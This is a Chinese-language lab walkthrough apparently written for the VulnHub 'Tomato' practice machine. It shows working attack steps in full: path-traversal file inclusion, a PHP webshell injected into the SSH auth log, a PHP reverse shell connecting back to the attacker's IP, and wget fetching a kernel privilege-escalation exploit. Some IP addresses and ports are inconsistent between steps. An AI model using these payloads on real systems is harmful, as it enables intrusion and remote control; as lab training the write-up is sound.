VulnHub-Tomato
环境
Kali: 192.168.132.131
靶机:192.168.132.41 靶机地址:https://www.vulnhub.com/entry/tomato-1,557/
一、信息收集
第一步 扫描、发现主机
nmap -sP 192.168.132.0/24
第二步 扫描靶机开放的端口和系统信息
第三步 访问网站,查看网站信
二、漏洞探测
第一步 扫描漏洞
nmap --script=vuln 192.168.132.141
漏洞简介:
Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务
(守护进程中断),这与2.2.15之前版本中缺少mod_ReqTimeout模块有关
第二步 扫描目录
gobuster dir -u http://192.168.132.141 -w /usr/share/wordlists/dirb/common.txt -t 30
python3 dirmap.py -i http://192.168.132.141 -lcf
dirb http://192.168.132.141 /usr/share/wordlists/dirb/common.txt
第三步 访问目录/antibot_image,存在目录遍历漏洞
http://192.168.132.141/antibot_image/
打开目录
第四步 查找可利用的文件
http://192.168.132.141/antibot_image/antibots/info.php
查看开启功能是否可以利用,查看源码注释
允许远程读取URL文件,但是不允许包含URL文件,可以进行利用
查源码,提示可以传参,存在文件包含漏洞
第五步 利用文件包含漏洞
http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../etc/passwd
查看日志文件
http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log
三、漏洞验证
第一步 利用已知文件包含漏洞,以及开的ssh端口
尝试包含ssh认证日志文件/var/log/auth.log,并利用ssh认证用户名实现命令注入:
(使用之前发现的2211端口是ssh,日志里面发现tomato用户,查看日志信息)
第二步 进行一句话木马进行注入
ssh '<?php system($_GET['cmd']);?>'@192.168.232.187 -p 2211
第三步 验证PHP代码是否注入成功
http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log
&cmd=ls
http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=ifconfig
第四步 开启nc监听
nc -lvvp 4444
第五步 反弹shell
php反弹shell代码:
php -r '$sock=fsockopen("192.168.132.131",4444);exec("/bin/sh -i <&3 2>&3");'
需要进行url编码
http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.132.131%22%2c3333)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'
触发反弹shell
第六步 开启交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
四、提权
第一步 查看系统信息
uname -a
whoami
第二步 下载提权脚本,执行,编译,并开启apache2服务
使用CVE-2017-6074的poc
git clone https://github.com/kkamagui/linux-kernel-exploits.git
cd linux-kernel-exploits/kernel-4.4.0-21-generic/CVE-2017-6074
./compile.sh
第三步 使靶机访问攻击机的网站,下载exp,授予权限,并执行
cd /tmp
wget http://192.168.232.129/CVE-2017-6074
chmod +x CVE-2017-6074
./CVE-2017-6074
第四步 查看flag
cd /root
ls
cat proof.txt
五、总结
这套靶机难易程度一般,使用gobuter进行目录爆破,存在目录遍历漏洞,获得phpinfo信息,存在文件包含漏洞,通过ssh登录失败,将一句话存入日志文件,利用文件包含漏洞,进而达到远程命令执行,反弹shell,利用linux内核漏洞进行提权,获得root权限。在该靶机中我在远程命令执行反弹shell命令处卡住了,死活不能反弹shell,后来通过多篇文章的参考,发现,反弹shell语句后没有添加语句结束符号;。